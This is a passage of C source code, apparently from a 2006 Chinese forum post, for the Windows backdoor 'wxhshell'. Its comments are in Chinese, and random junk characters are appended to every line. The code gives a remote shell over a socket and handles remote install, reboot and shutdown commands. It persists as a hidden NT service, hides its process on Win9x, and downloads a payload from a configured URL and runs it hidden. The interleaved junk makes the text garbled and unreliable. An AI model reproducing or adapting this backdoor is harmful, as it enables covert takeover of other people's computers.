  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vnc- W3N  
  } @L0xU??"|  
  else { F=EG#<@u  
(ZSd7qH"  
    switch(cmd[0]) { #q?'<''d,  
  %W` }  
  // 帮助 =S#9\W&6Q  
  case '?': { i24t$7q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iC2``[m"  
    break; A*^aBWFR  
  } x18(}4  
  // 安装 Gu@n1/m@o  
  case 'i': { >UNx<=ry  
    if(Install()) Nk2n&(~$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4M*Z1  
    else s k_TKN`+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q]Vxf!0*>  
    break; 6({TG&`!]  
    } fQQj2> 3w  
  // 卸载 ghU~H4[xD  
  case 'r': { Xrl# DN  
    if(Uninstall()) Y#[xX2z9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Z2a~1BL  
    else 7w\L<vFm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); };Pdn7;1G:  
    break; g~p43sVV  
    } BD ,J4xH;  
  // 显示 wxhshell 所在路径 g>E.Snj}  
  case 'p': { owviIZFe  
    char svExeFile[MAX_PATH]; X{Ij30Bmv  
    strcpy(svExeFile,"\n\r"); 0hg4y  
      strcat(svExeFile,ExeFile); e1Q   
        send(wsh,svExeFile,strlen(svExeFile),0); 4v.{C"M  
    break; jZr"d*Y  
    } ]$~\GE^  
  // 重启 I >aKa  
  case 'b': { dOX"7kZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?k`UQi]Q  
    if(Boot(REBOOT)) 'D'H)J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "O~7s}  
    else { @)XR  
    closesocket(wsh); Tm\a%Z`U>  
    ExitThread(0); >=1Aa,_tc  
    } U3u j`Oq  
    break; y**YFQ*sc  
    } AZ>F+@d  
  // 关机 %0Ibi  
  case 'd': { BEtFFi6ot  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @.)WS\Cv#E  
    if(Boot(SHUTDOWN)) 0oQJ}8t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1z3>nou2{  
    else { fG zx;<0P!  
    closesocket(wsh);  < v1.+  
    ExitThread(0); ~jJF&*)  
    } / %1-tGh  
    break; m$bYx~K  
    } \NTVg6>qN  
  // 获取shell X2T_}{  
  case 's': { i&KBMx   
    CmdShell(wsh); } `Cc-X7  
    closesocket(wsh); ZZ>F ^t  
    ExitThread(0); %6\L^RP  
    break; 4&AGVplgF  
  } > -,$  
  // 退出 {4{X`$  
  case 'x': { vM?,#:5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <ivq}(%72  
    CloseIt(wsh); cs9"0&JX  
    break; l6- n{zG  
    } 6zIK%<  
  // 离开 W[f%m0  
  case 'q': { )>tT ""yEl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %/2OP &1<  
    closesocket(wsh); l?A~^4(5a/  
    WSACleanup(); B[~Q0lPih  
    exit(1); <UY9<o  
    break; &PPYxg<  
        } QtA@p  
  } MxOIe|=&  
  } &z05h<]  
N :OLN[  
  // 提示信息  Q!5W x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uuQsK. S  
} _ h/:r1  
  } xb2j |KY7  
*B)10R  
  return; NIAji3  
} G\R6=K:f7  
YJ+l \Wb}  
// shell模块句柄 9a#Y D;-p  
int CmdShell(SOCKET sock) LJA uTg  
{ 1 F&}e&}c  
STARTUPINFO si; H2'djZ  
ZeroMemory(&si,sizeof(si)); $F1Am%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tkQrxa|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jX .' G   
PROCESS_INFORMATION ProcessInfo; P6")OWd  
char cmdline[]="cmd"; 'U,\5jj'Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,#bT  
  return 0; NtmmPJ|5  
} MP_/eC ;  
#r,!-;^'p  
// 自身启动模式 #\ECQF  
int StartFromService(void) K#Xl)h}y7  
{ 3e>U(ES  
typedef struct e~SRGyIww  
{ r)B55;*Fh  
  DWORD ExitStatus; G.r =fNP  
  DWORD PebBaseAddress; 411z -aS  
  DWORD AffinityMask; ~R\ $Z  
  DWORD BasePriority; MAp#1+k  
  ULONG UniqueProcessId; ..x 2  
  ULONG InheritedFromUniqueProcessId; P'<j<h6  
}   PROCESS_BASIC_INFORMATION; nt@uVwfQ  
3vkzN  
PROCNTQSIP NtQueryInformationProcess; "MD 6<H  
A@;{ #.O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e:K'e2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0$i\/W+  
xf?"Q#  
  HANDLE             hProcess; ,&g-DC ag  
  PROCESS_BASIC_INFORMATION pbi; `4e| I.`^r  
36Lf8~d4"h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8g=];@z  
  if(NULL == hInst ) return 0; XtE O)  
0>"y)T3   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aWNj l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3m~,6mQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I+`>e*:@W  
[+ : zlA  
  if (!NtQueryInformationProcess) return 0; WR u/7$8  
^Nt^.xi7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w4R~0jXy  
  if(!hProcess) return 0; ti3S'K0t  
UGvUU<N|N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;&!Q N#_  
VbNN1'a-  
  CloseHandle(hProcess); e(FT4KD~  
>p`i6_P0P/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n<F3&2w  
if(hProcess==NULL) return 0; WqS$C;]%  
rCb$^(w{7  
HMODULE hMod; (!?%"e  
char procName[255]; 3HNm`b8G4m  
unsigned long cbNeeded; 4sfq,shRq  
Pb1.X9*8c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qxcTY|&  
N8,g~?r^  
  CloseHandle(hProcess); "Z~@"JLb%  
t3*.Bm:^  
if(strstr(procName,"services")) return 1; // 以服务启动 }2^qM^,0  
W e*uZ?+  
  return 0; // 注册表启动 $@w ,9J\  
} ^E)8Sb9t  
?X\uzu  
// 主模块 n]nJ$u1u  
int StartWxhshell(LPSTR lpCmdLine) )TBm?VMe  
{ =`2jnvx  
  SOCKET wsl; A'"J'q*t  
BOOL val=TRUE; ~Q]/=HK  
  int port=0; mE'HRv  
  struct sockaddr_in door; H_ NoW  
#TV #*  
  if(wscfg.ws_autoins) Install(); i[wnG)  
:f7:@8  
port=atoi(lpCmdLine); /g8nT1k  
muDOY~.  
if(port<=0) port=wscfg.ws_port; o)Px d  
R?dMM  
  WSADATA data; ^)'D eP/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4F<wa s/  
ScQ9p379  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9j}Q~v\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q=Q&\.<  
  door.sin_family = AF_INET; -Vs;4-B{9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =>&~p\Aw  
  door.sin_port = htons(port); hpq\  
Bsk` e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h A '>  
closesocket(wsl); oW>e.}d!  
return 1; dnM.  
} uH7!)LE#  
Dc 84^>l  
  if(listen(wsl,2) == INVALID_SOCKET) { dKevhm)R"  
closesocket(wsl); 5A%Uv*  
return 1; ]vw%J ^7:a  
} p _2Yc]8  
  Wxhshell(wsl); z uo:yaO  
  WSACleanup();  B`vC>  
@PK 1  
return 0; iQgr8[ SFf  
+ (`.pa z@  
} %WqUZ+yy  
vrh2}biCR  
// 以NT服务方式启动 U.=TjCW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U} Pr1  
{ B7S)L#l_\  
DWORD   status = 0; bU}l*"  
  DWORD   specificError = 0xfffffff; Moi>Dp  
) bd`U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i-4?]h k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tiR i_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]<9o>#3  
  serviceStatus.dwWin32ExitCode     = 0; kLXa1^Lq  
  serviceStatus.dwServiceSpecificExitCode = 0; J:IAs:e`  
  serviceStatus.dwCheckPoint       = 0; A6xN6{R!  
  serviceStatus.dwWaitHint       = 0; tItI^]w2s  
zQB1C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T?1e&H%USV  
  if (hServiceStatusHandle==0) return; ?xwZ< A  
0}e&ONDQ  
status = GetLastError();  {+gK\Nz  
  if (status!=NO_ERROR) )/z+W[t  
{ l {\k\Q!4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <! *O[0s  
    serviceStatus.dwCheckPoint       = 0; @mcP-  
    serviceStatus.dwWaitHint       = 0; =`!# V/=  
    serviceStatus.dwWin32ExitCode     = status; Wi*HLP!lNC  
    serviceStatus.dwServiceSpecificExitCode = specificError; !nQoz^_`P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bkm: #K  
    return; 51;Bc[)%  
  } eMP0BS"  
Bi0&F1ZC!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vCtnjWGX}/  
  serviceStatus.dwCheckPoint       = 0; \.F|c  
  serviceStatus.dwWaitHint       = 0; ;Wn0-`_1,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y+7A?"s)  
} >QBDxm  
Zlv`yC*r  
// 处理NT服务事件,比如:启动、停止  \Awqr:A&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !$Arc^7r  
{ j,1cb,}=^  
switch(fdwControl) T+:GYab/  
{ Lp+?5DjLT  
case SERVICE_CONTROL_STOP: oP:OurX8V  
  serviceStatus.dwWin32ExitCode = 0; J$(79gH{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yQFZRDV~  
  serviceStatus.dwCheckPoint   = 0; 461p4)  
  serviceStatus.dwWaitHint     = 0; ?zYR;r2'b)  
  { 1V]j8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +X>Aj=#  
  } HzZX=c  
  return; WVx^}_FD0  
case SERVICE_CONTROL_PAUSE: ko~e*31_E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vfh\X1Ui}  
  break; '=UsN_@  
case SERVICE_CONTROL_CONTINUE: n,p \~Tu,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U.ew6`'Te  
  break; \~T&C5  
case SERVICE_CONTROL_INTERROGATE: c}2"X,  
  break; `t7GYmw^#  
}; FCChB7c`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F&OcI.OTXF  
} 2'?C  
?cD_\~  
// 标准应用程序主函数 ,(kaC.Em  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D Z=OZ.v  
{ Gx(%AB~9$  
ahw0}S  
// 获取操作系统版本 s~I#K[[5  
OsIsNt=GetOsVer(); x' 3kHw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _2xYDi  
^E3 HY@j  
  // 从命令行安装 QhPpo#^  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Lq=)'d;6  
NOtwgZ-  
  // 下载执行文件 Y_nlIcu  
if(wscfg.ws_downexe) { -M-y*P)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f/i[? gw  
  WinExec(wscfg.ws_filenam,SW_HIDE); C+-sf  
} q94*2@KV  
2VkA!o4nP  
if(!OsIsNt) { K$-|7tJon  
// 如果时win9x,隐藏进程并且设置为注册表启动 22D,,nC0+=  
HideProc(); .U,>Qn4/  
StartWxhshell(lpCmdLine); eie u|_  
} U,,rB(  
else P}D5 j  
  if(StartFromService()) w)Y}hlcq  
  // 以服务方式启动 >soSOJ[   
  StartServiceCtrlDispatcher(DispatchTable); XQj+]-m  
else wKy4Ic+RV  
  // 普通方式启动 SXmh@a"*\  
  StartWxhshell(lpCmdLine); K(}<L-cv  
n s&(g^  
return 0; `u7twW*U2  
}
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只看该作者 1 发表于: 2006-10-10
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